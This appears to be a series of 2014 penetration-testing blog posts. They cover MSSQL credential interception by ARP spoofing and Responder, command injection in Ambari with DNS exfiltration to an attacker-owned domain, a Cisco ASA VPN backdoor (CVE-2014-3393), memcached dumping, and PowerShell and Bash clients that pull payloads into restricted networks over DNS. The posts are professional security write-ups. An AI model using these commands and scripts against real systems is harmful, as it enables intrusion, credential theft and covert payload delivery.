Tuesday, December 16, 2014

MSSQL MITM FTW - Ettercap and Responder to Intercept (plaintext!) MSSQL Creds

A fun exercise in confidentiality vs authentication, and why "encrypted" doesn't always mean secure.

Imagine the (common) scenario where some sort of service needs to interact with an MSSQL database. The client application opens a "secure" connection with MSSQL, sends over the username and password to authenticate, runs some queries, does its thing, wash, rinse repeat.

All the communication is encrypted so we're good right...? It all depends how you establish that "secure" connection between the client and server. It turns out, by default, MSSQL and the clients that connect to it use and trust self-signed certificates when doing SQL server authentication.

Once you realize this, the dominos start to fall. What this means is that if you're on the same network as a SQL server and you can conduct a man-in-the-middle attack, you can actually trick any clients that connect to that server (using SQL server authentication) to send you their credentials!

On a recent test, we ran into this exact scenario. Not much going on on the network except some MSSQL traffic so I decided to run with a hunch and see what would happen.

The first step was to identify the SQL server and setup Ettercap to ARP spoof traffic between the SQL server and the gateway. Easy enough - now the SQL server traffic is flowing through our machine.

Next we run Responder.py and have it enable it's SQL Server authentication listener. This spins up a "fake" SQL server that will log any credentials sent to it.

Finally - a simple IPTables rule to redirect traffic bound for the real DBMS to the listener running on our machine "iptables -t nat -A PREROUTING -p tcp --dport 1433 -j REDIRECT --to-ports 1433". This will break things. Any connections to the DBMS that are currently open will probably break, the client will try to re-authentication, we'll catch the creds.

SQL Server can then be used to pivot into the network/domain with xp_cmdshell, extract sensitive data etc...

The mitigation here is to use a strong password and Windows or Domain authentication for SQL server.

Thursday, December 11, 2014

Raining Shells - Ambari "0-day"

Something that we're starting to see occasionally on penetration tests are Hadoop clusters and all of the associated technologies that go along with them.

The old security model for these things used to be "Trust your network" - ie: Lock them in a room, somewhere behind a firewall, and cross your fingers. Nowadays however bleeding edge security features such as usernames and passwords have been implemented on many of the administrative interfaces for these services *gasp*.

On a recent penetration juken (http://jstnkndy.github.io/) and I ran into a semi-locked down Hadoop cluster. The HDFS file browsing web interfaces were still enabled and didn't require authentication (eg: http://<namenode host>:1022/browseDirectory.jsp) but we wanted shells, and lots of them.

So where to start? A quick portscan and httpscreenshot run showed a number of management and monitoring tools running. After some initial stumbling around and default password checking on the web interfaces we'd come up dry. In a short moment of brialliance, Juken decided to try the default DBMS credentials on the Postgresql database server for the Ambari administrative tool - they worked.

Ambari is a provisioning tool for Hadoop clusters. With a few clicks, you can instruct it to install different packages like YARN, Hadoop, HDFS, etc.. on the various nodes that it manages. Unfortunately there is no official "feature" to send yourself a bash shell on the remote machines.

With credentials to the Postgres database, it was trivial to create a new admin user in Ambari with the password of "admin". They hash with sha256 bcrypt and a random salt... the easiest way is to just add a new user or modify the existing admins password with the following:

update ambari.users set
where user_name='admin'

Unfortunately, Ambari needs to be restarted for new users or changed passwords to take effect... so now you must wait.

Eventually the change was applied and we were in. After some time and much frustration with technology we aren't exactly familiar with, we found the undocumented "shell" feature - it's always there somewhere, you just have to look hard enough.

It turns out that for the HDFS service (and probably all the others) you can inject commands into the java heapsize parameter. The Javascript on the front-end of the app doesn't like it - but if you do it through BURP, the changes will be applied/saved. Restart the service and boom goes the dynamite - your command gets executed on every namenode/datanode in the cluster.

In the screenshot, we did `ping \`hostname\`.\`whoami\`.somedomainweown.com` - we own the authoritative nameserver for that domain and listen on port 53. Watch the DNS requests for things like "server1.root.somedomain.com" roll in

Monday, October 27, 2014

Cisco ASA SSL VPN Backdoor PoC (CVE-2014-3393)

A coworker and I recently had the opportunity to work with a new vulnerability released at Ruxcon just earlier this month and while we didn't get exactly what we wanted, it was quite interesting.

The conference presentation was titled "Breaking Bricks and Plumbing Pipes: Cisco ASA a Super Mario Adventure" https://ruxcon.org.au/assets/2014/slides/Breaking%20Bricks%20Ruxcon%202014.pdf and was EXTREMELY interesting. The researcher Alec Stuart-Muirk managed the "jailbreak" the ASA and from there do some cool things with it, including a code audit of the publicly facing SSL VPN interface.

One thing that come out during the code audit was that the authorization check on some of the administrative interface pages can be bypassed by setting the cookie value to any valid file on the file system. I'm not going to get into too much detail because the slides cover it well, but basically this allows you to make modifications to the SSL VPN page WITHOUT AUTHENTICATION. This vulnerability is CVE-2014-3393 and affected versions can be found at http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3393. He also released a way to pull the version from a remote ASA - it's as simple as hitting the following URL: https://<IP ADDRESS>/CSCOSSLC/config-auth

As a penetration tester this is very interesting because it allows us to backdoor the SSL VPN, and easily intercept plaintext credentials. Even those using 2 factor authentication wouldn't be safe from such an attack as the attacker could immediately use the intercepted token to login.

We spotted the SSL VPN login page in the wild recently and decided to take a crack at this vulnerability. The first step was to get a test setup running - since none of us own an ASA we "acquired" a virtual one. There might be a VMWare image here with such a thing running a vulnerable version.

After that, we simply proxied and intercepted the target requests. Interestingly, we had to make some modifications to the PoC posted in the Ruxcon presentation to get it to work (remove the User-Agent header from the cedsave request), indicating minor version differences may require further testing to get running. After making the appropriate modifications to the target requests, as detailed in the Ruxcon presentation, we were successfully able to backdoor our SSL VPN without authentication! Really cool stuff!

For those who would like to try at home, I've uploaded a BURP state https://github.com/breenmachine/various with the required requests in the "Repeater" tab to save you from typing them. This was tested on version ASA 9.2(1) and probably will require modification for other versions. Simply configure your ASA, point BURP at it, and give it a shot.

If anyone gets this working on other versions of ASA, I'd like to hear about the necessary modifications.

For those without a copy of BURP Pro, these are the requests you'll need:

Tuesday, September 16, 2014

Transfer File Over DNS in Windows (with 13 lines of PowerShell)

In a previous post (http://breenmachine.blogspot.ca/2014/03/downloading-files-through-recursive-dns.html) I mentioned that it is possible to download files through recursive DNS queries with Bash or Powershell.

This was done through a client/server setup where the server hosts a particular file and the clients were to be written in very short scripts that could be feasibly re-created by hand on-demand to deliver binary payloads to machines.

There are a number of feasible scenarios where this is useful. For example, if you have physical access to a machine that is on a locked down network segment with restricted egress traffic. Or the example that came up in a recent penetration test was that we had command execution on a remote database server through SQLi, however no traffic was allowed egress to to the internet from the database server so we couldn't directly establish a C&C channel. Using this script, combined with CobaltStrike Beacon over DNS we were able to get a fully functional Meterpreter shell tunneling over DNS (and it was surprisingly fast).

In my previous post, I released the code for a Bash client and the Python server. I'm now releasing code for the (probably more useful to most people) Powershell client script, and it only ended up being 13 lines!

Can be found on github (https://github.com/breenmachine/dnsftp) - or below. Usage is simply:

On the server hosting the file:
./server.py -f /path/to/file

On the target client to deliver the binary:
powershell client.ps1 -server where.your.server.resolves.com

param ([string]$server)
for($i=0;$i -ge 0;$i++){
$command='cmd.exe /C nslookup -type=TXT '+$i+'.$server'
$a=Invoke-Expression -Command:$command
if($error.Count -ge 1){$i=-10}

There are a few caveats here. The error handling isn't great. If you see that the client calls it quits before it fetches all of the chunks of your payload - run it again. It means the DNS server didn't get a response from your server in time. You may have to run the client a few times, each time it will pull TXT records from its cache up to the one where it made an error, eventually getting your whole file. To optimize this for larger payloads, some simple error handling could be added, but I wanted to keep the client script pretty bare-bones.

Thursday, August 21, 2014

BlackHat Talk and Railo Shoutout

Haven't really talked about it much here but recently finished up some research and my BlackHat USA 2014 presentation titled "Mobile Device Mismanagement" - http://www.slideshare.net/breenmachine/mobile-device-mismanagement.

Unfortunately we couldn't release much technical detail which isn't my normal style - some vendors have been quite slow to patch and some of the issues are very serious (i.e. pre-authentication RCE on a system that appears to be storing everyone's domain credentials in plaintext).

Overall the MDM stuff has been pretty interesting. The attack vectors are very realistic because these are systems that can not be firewalled off from the Internet, yet they expose some pretty sensitive functionality.

Also a shout out and reference to some work I've done with drone on vulnerabilities and some exploits we've whipped up for the Railo framework (an opensource implementation of ColdFusion).

It's a bit of a mess, actually surprisingly bad when it comes to security. Drone's done a good job with the details so I'm just going to leave this here:


Look forward to part 3 - it's going to be good.

Monday, July 14, 2014

Dumping Data from Memcached Servers

Just a quick update from a recent test. Will probably have some more interesting stuff coming soon but none is ready to go public quite yet.

Memcached servers provide a dynamic, distributed memory object caching system to improve application performance. The security model for Memcache is basically "trust your network", and unfortunately most networks can't be trusted.

You'll find the service listening on port 11211 by default. On a recent test we discovered a memcached server and after some research into extracting the data from it, came up empty. In response, I've developed a python script to dump data from memcached servers:


This service is interesting because you not only get to read the potentially sensitive data in the cache, but it is also trivial to modify values already in the cache. This can be done simply by accessing the "memcached" server over telnet and using the "set" command as documented here:


One interesting attack vector here would be stored XSS in a web application, or potentially SQL injection if the application is caching SQL queries (which some appear to do).

Thursday, March 20, 2014

Downloading Files Through Recursive DNS With Bash (Or PowerShell)

I often run into networks with extremely restricted outbound firewall rules. Usually outbound traffic is whitelisted to a small number of hosts. The scenario here is that you've somehow gained access to a machine on such a network and you need a way to transfer tools/data to this machine.

In these scenarios where you've got a really locked down environment, one of my go-to methods for getting data in and out is to tunnel it through recursive DNS queries. If the target machines nameserver (or any nameserver it can talk to on the network) will do recursive queries out to the Internet, you're in luck. I find this is almost always the case.

For those who may be unfamiliar with this technique the scenario looks something like this:

Target <---> Internal DNS Server <-----> Registrar Nameserver <------> Attackers Remote Machine

There are a number of existing tools to do this (dnscat, iodine...) Unfortunately all of the ones I could find to accomplish this require a binary to be loaded onto the target machine. The whole reason I need to tunnel things over DNS in the first place with this scenario is so I can load binaries onto the target!

So my goal was to do this with a client/server where the client script uses only tools native to the host OS. Ideally the client script should also be short incase it needed to be written out by hand (physical access) or through some blind command execution exploit. Using such a script, you could pull down other, more complex binaries (like iodine or dnscat, or privilege escalation tools).

The easiest way I thought of to do it was to have the server base64 encode a specified file, split it into chunks, and server those chunks up in TXT records. For example:

bm@mybox:~/Code/dnsftp$ sudo ./server.py -f ../nbtool/dnscat
DEBUG:root:[+] Bound to UDP port 53.
DEBUG:root:[+] Waiting for request...

bm@mybox:~/Code/dnsftp$ dig +short @localhost 0.dns.testdomain.com

bm@mybox:~/Code/dnsftp$ dig +short @localhost 1.dns.testdomain.com

So we have a server spitting out chunks of a base64 encoded binary in response to sequential TXT record requests. A simple client written in bash can automate the process of pulling and re-assembling the file:

error=';; connection timed out; no servers could be reached'
echo ''> output.b64
while :
  RESP=`dig +short $i.$1 TXT | cut -d'"' -f 2`
  if [ "$RESP" = "$error" ];
    echo "Timeout - done"
  echo -ne $RESP >> output.b64
  echo $RESP
cat output.b64 | base64 -d > output

Notice in the above script we don't use "dig @localhost" anymore - the request goes through some DNS servers on the Internet and eventually makes it to our "server.py" file. For this to work correctly, you need to have your server that runs server.py setup to be authoritative for a subdomain. This can be configured with your registrar.

Sample Usage:

  • Configure your server where you will run server.py to be the authoritative nameserver for a  subdomain (e.g: dns.testdomain.com). Do this with the registrar where you've registered testdomain.com.
  • On the server, run sudo ./server.py -f someFile
  • On the client, run ./client.sh dns.testdomain.com
  • At this point you should see the client and server start puking base64 debugging output. The client will write the base64 to disk and then decode it when done.
To do:
  • This should be trivial to implement in powershell for Windows hosts as well. Would be very useful.

Code at

  • https://github.com/breenmachine/dnsftp